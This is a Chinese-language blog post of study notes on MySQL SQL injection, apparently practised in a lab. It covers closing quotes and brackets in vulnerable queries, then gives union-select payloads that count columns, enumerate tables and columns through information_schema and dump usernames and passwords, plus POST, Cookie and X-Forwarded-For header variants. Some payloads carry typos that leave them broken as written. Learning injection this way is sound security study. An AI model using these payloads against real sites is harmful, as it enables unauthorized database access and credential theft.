天天看点

SQL注入之MySQL注入学习笔记(二)

补充:​​MySQL注释方法​​

文章目录

  • ​​MySQL注入​​
  • ​​基本介绍​​
  • ​​字符型​​
  • ​​数字型​​
  • ​​搜索型​​
  • ​​Cookie注入​​
  • ​​HTTP头注入​​
  • ​​具体实例​​
  • ​​数字型注入​​
  • ​​一般类型​​
  • ​​被单引号包裹起来的​​
  • ​​双引号加小括号包裹​​
  • ​​两个括号​​
  • ​​字符型注入​​
  • ​​搜索型注入​​
  • ​​Cookie注入​​
  • ​​HTTP头注入​​

MySQL注入

基本介绍

字符型

有这几种常见情况,闭合SQL语句,再插入我们需要的sql语句

$sql="SELECT * FROM users WHERE id= '$id'";
闭合前面的单引号把后面的单引号注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=(('$id' ))
闭合单引号,闭合两个括号把后面的都注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=('$id')";
闭合单引号,闭合括号把后面的都注释掉跟上sql语句
$id ='"'.$id.'"'
$sql = "SELECT * FROM users WHERE id = $id";
闭合前面的双引号再注释后面的双引号
$id = '("'.$id.'")';
$sql = "SELECT * FROM users WHERE id = $id";      

数字型

字符型和数字型的区别在于接受的参数id的类型和数据库中id的字段类型

其实和字符型的注入方式是一样的,不必过度纠结于两者具体的区别

$sql="SELECT * FROM users WHERE id=$id";      

搜索型

就是post型的提交方式

SQL注入之MySQL注入学习笔记(二)

Cookie注入

SQL注入之MySQL注入学习笔记(二)

HTTP头注入

X-Forwarded-For

X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

Client-IP: 127.0.0.1

User-agent

用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。

Referer

Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。

SQL注入之MySQL注入学习笔记(二)

具体实例

数字型注入

一般类型

因为不知道接收的id是1或者是"1"的形式我们先当成数字型注入

如何判断:'url?id=1+1’如果成功返回数据则为数字型注入​

​+​

​​=​

​%2b​

SQL注入之MySQL注入学习笔记(二)

首先查字段

url?id = 1 order by 3 不报错

url?id = 1 order by 4 报错

所以有三个字段

接下来使用联合查询:​

​url?id = 1 union select 1,2,3​

SQL注入之MySQL注入学习笔记(二)

查当前数据库名,版本,用户

​url?id = 1 union select database(),version(),user()​

SQL注入之MySQL注入学习笔记(二)

查询有什么表

​url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()​

SQL注入之MySQL注入学习笔记(二)

查询列名:

​url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'​

SQL注入之MySQL注入学习笔记(二)

查询数据:

​url?id = 1 union select id,username,password from users​

SQL注入之MySQL注入学习笔记(二)

被单引号包裹起来的

SQL注入之MySQL注入学习笔记(二)
SQL注入之MySQL注入学习笔记(二)

在之后我们拼接and 1=1 and 1= 2,发现没有报错

SQL注入之MySQL注入学习笔记(二)

之后加上​

​id = 1'​

​单引号后报错,不正常说明sql语句可控

在Mysql中​

​--+​

​​代表注释此时​

​id = 1'--+​

​成功执行

SQL注入之MySQL注入学习笔记(二)

之后插上​

​id = 1 and 1=2'-- +​

​不正常,即可食用之后类似上面一般类型

双引号加小括号包裹

SQL注入之MySQL注入学习笔记(二)

首先查看​

​id = 1​

SQL注入之MySQL注入学习笔记(二)

类似上面​

​?id = 1') and 1 = 2-- +​

​发现1=1和1=2成功执行

两个括号

SQL注入之MySQL注入学习笔记(二)
SQL注入之MySQL注入学习笔记(二)

采用​

​? id = 1')) union select 1,2,3 -- +​

字符型注入

如果在url后拼接​

​?id=1 and 1=1​

​​or​

​and 1=2​

​​分别正确错误则说明为字符型注入

注入方式和数字型类似

搜索型注入

SQL注入之MySQL注入学习笔记(二)

%代表%前面可以有字符后面也可以有

配合HackBar食用

SQL注入之MySQL注入学习笔记(二)

post数据​

​name = a' union select 1,2,3 -- +​

Cookie注入

SQL注入之MySQL注入学习笔记(二)

配合Burp使用

SQL注入之MySQL注入学习笔记(二)

改为​

​Cookie: uid = 1 union select 1,2,3​

HTTP头注入

SQL注入之MySQL注入学习笔记(二)
SQL注入之MySQL注入学习笔记(二)

配合Burp食用

SQL注入之MySQL注入学习笔记(二)

添加XFF头

SQL注入之MySQL注入学习笔记(二)

完美成功!!!

​127.0.0.1' order by 4-- +​

​成功,配合联合查询即可!!!

SQL注入之MySQL注入学习笔记(二)